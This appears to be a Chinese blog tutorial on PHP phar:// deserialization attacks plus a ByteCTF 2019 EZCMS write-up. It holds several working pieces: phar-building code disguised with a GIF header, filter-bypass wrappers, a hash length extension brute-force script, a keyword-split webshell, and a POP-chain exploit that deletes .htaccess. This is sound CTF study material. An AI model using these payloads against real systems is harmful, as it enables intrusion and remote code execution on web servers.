整理整理着就翻到这个了,顺便做了道bytectf的题,复习下哈希长度扩展攻击
phar伪协议
phar伪协议触发php反序列化
phar://协议
可以将多个文件归入一个本地文件夹,也可以包含一个文件
phar文件
PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发。所有PHAR文件都使用.phar作为文件扩展名,PHAR格式的归档需要使用自己写的PHP代码。
phar文件结构
详情参考php手册(https://secure.php.net/phar)
这里摘出创宇提供的四部分结构概要:
1、a stub
识别phar拓展的标识,格式:xxx<?php xxx; __HALT_COMPILER();?>。对应的函数Phar::setStub
2、a manifest describing the contents
被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用的核心部分。对应函数Phar::setMetadata—设置phar归档元数据
3、the file contents
被压缩文件的内容。
4、[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾。对应函数Phar :: stopBuffering —停止缓冲对Phar存档的写入请求,并将更改保存到磁盘
Phar内置方法
本地生成一个phar文件,要想使用Phar类里的方法,必须将phar.readonly配置项配置为0或Off(文档中定义)
PHP内置phar类,其他的一些方法如下:
$phar = new Phar('sdpc.phar'); //实例一个phar对象供后续操作
$phar->startBuffering() //开始缓冲Phar写操作
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->addFromString('test.php','<?php echo 'this is test file';'); //以字符串的形式添加一个文件到 phar 档案
$phar->buildFromDirectory('fileTophar') //把一个目录下的文件归档到phar档案
$phar->extractTo() //解压一个phar包的函数,extractTo 提取phar文档内容
漏洞剖析
文件的第二部分a manifest describing the contents可知,phar文件会以序列化的形式存储用户自定义的meta-data,在一些文件操作函数执行的参数可控,参数部分我们利用Phar伪协议,可以不依赖unserialize()直接进行反序列化操作,在读取phar文件里的数据时反序列化meta-data,达到我们的操控目的。
而在一些上传点,我们可以更改phar的文件头并且修改其后缀名绕过检测,如:test.gif,里面的meta-data却是我们提前写入的恶意代码,而且可利用的文件操作函数又很多,所以这是一种不错的绕过+执行的方法。
phar怎么用?
<?php
class TestObject {
public $data;
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data = 'h4ck3r';
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
执行后目录下会生成一个phar.phar文件
如果这时候网站有一个这样的页面
class TestObject{
function __destruct()
{
echo $this->data;
}
}
include ($_POST[phar]);
可以通过伪协议包含我们的phar文件,那么在包含的过程中就会进行反序列化
输出出我们的文字
总结下利用条件
- 代码中存在文件操作函数(file_get_contents,file_put_contents等)
- 存在可用的魔术方法和命令执行点(或者其他的)
- 文件操作函数的参数可控,且无过滤phar://
示例
用phar伪装一下其他文件,因为php识别phar文件是通过stub来的,那样的话我们只需要在<?php __HALT_COMPILER();?>
前面加多一个其他文件的头,就可以伪装了
前端的上传页面
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>ea3y_upload_file</title>
</head>
<body>
<form action="http://localhost/ctf/phar/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="upload" />
</form>
</body>
</html>
后台的检测页面,先限制好只能传gif
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"]."<br>";
echo "Type: " . $_FILES["file"]["type"]."<br>";
echo "Temp file: " . $_FILES["file"]["tmp_name"]."<br>";
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
后台解析文件的php
<?php
$filename=$_GET['filename'];
class AnyClass{
function __destruct()
{
eval($this ->data);
}
}
include ($filename);
emmm,可以看到,类里面有个魔幻函数,同时还有一句eval,甚至还能给你一句include,没错,就是它了
自己生成个phar的文件
<?php
class AnyClass{
function __destruct()
{
eval($this -> data);
}
}
$phar = new Phar('phar2.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> data = 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();
可以看到,stub前面已经加了gif头,类里面的参数是phpinfo,如果最后能利用的话就会输出php的信息
执行一下可以看到生成phar2.phar文件,改下后缀成gif文件,然后上传,最后访问
可利用的文件操作函数
fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、stat、readfile、md5_file、filesiz
exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom***
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
standard
getimagesize
getimagesizefromstringfinfo_file/finfo_buffer/mime_content_type
//zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
//Postgres
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
//mysql
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', '123456', 'easyweb', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
绕过phar头限制的方法
$z` `= ``'compress.bzip2://phar:///home/sx/test.phar/test.txt'``;
$z` `= ``'compress.zlib://phar:///home/sx/test.phar/test.txt'``;
@``file_get_contents``(``$z``);
@``include``(``'php://filter/read=convert.base64-encode/resource=phar://yunying.phar'``);
mime_content_type(``'php://filter/read=convert.base64-encode/resource=phar://yunying.phar'``)
例题
[ByteCTF 2019]EZCMS
一进去看到是登陆界面,发现无论输入什么都会登陆进去
扫描目录可以发现备份文件www.zip
审计源码:
上传点处调用了admin类
发现了检测是否为admin的函数
跟进查看
哈希长度扩展攻击
我一开始以为secret的八个*是随便填的,没想到最后密钥还真是8位。。。
爆破脚本:
from md5pad import *
import requests
import urllib
def check():
url = 'http://7a29017e-b3a6-4231-9cd4-9da458ad6fe9.node3.buuoj.cn/upload.php'
hash_md5 = '52107b08c0f3342d2153ae1d68e6262c'
add_data = 'rayi'
files = {'file': open('1.jpg', 'rb')}
for key_len in range(10,20):
m = md5py.md5()
urlencode_payload = urllib.quote(payload(key_len,add_data))
new_md5 = m.extension_attack(hash_md5, add_data, key_len)
print new_md5
print urlencode_payload
cookie = {'user':new_md5}
s = requests.session()
login_data = {'username':'admin',
'password':'admin'+urlencode_payload}
s.post(url='http://7a29017e-b3a6-4231-9cd4-9da458ad6fe9.node3.buuoj.cn/',data=login_data)
web = s.post(url=url,files=files,cookies=cookie)
print len(web.text)
print key_len
check()
登陆为admin后就可以上传文件了
上传个一句话,发现还有过滤
随便分割下关键字就好
<?php
$a = 'sys'.'tem';
$a($_GET['rayi']);
?>
成功上传
马传上去了但是执行不了,因为有.htaccess文件
我们需要把.htaccess删掉
再看view.php
调用了File类中的view__detail方法,找到了可以利用phar的点
还有一个profile类没有用到
调用了$admin类中的open方法,$admin类是啥呢?
查查手册,看看有啥内置类含有open方法
就他了
写exp
<?php
class File{
public $filename;
public $filepath;
public $checker;
}
class Profile{
public $username;
public $password;
public $admin;
}
$a=new File();
$a->checker=new Profile();
$a->checker->admin=new ZipArchive();
$a->checker->username="/var/www/html/sandbox/33c6f8457bd77fce0b109b4554e1a95c/.htaccess";
$a->checker->password=ZipArchive::OVERWRITE;
$phar = new Phar('1.phar');
$phar -> startBuffering();
$phar -> setStub('<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($a);
$phar -> stopBuffering();
?>
上传phar
先记住自己马的目录,否则一会删除后再回来看会导致再次生成.htaccess
在view中通过php://filter绕过过滤读取phar文件,删除.htaccess
在利用刚才传上去的马读取flag就好了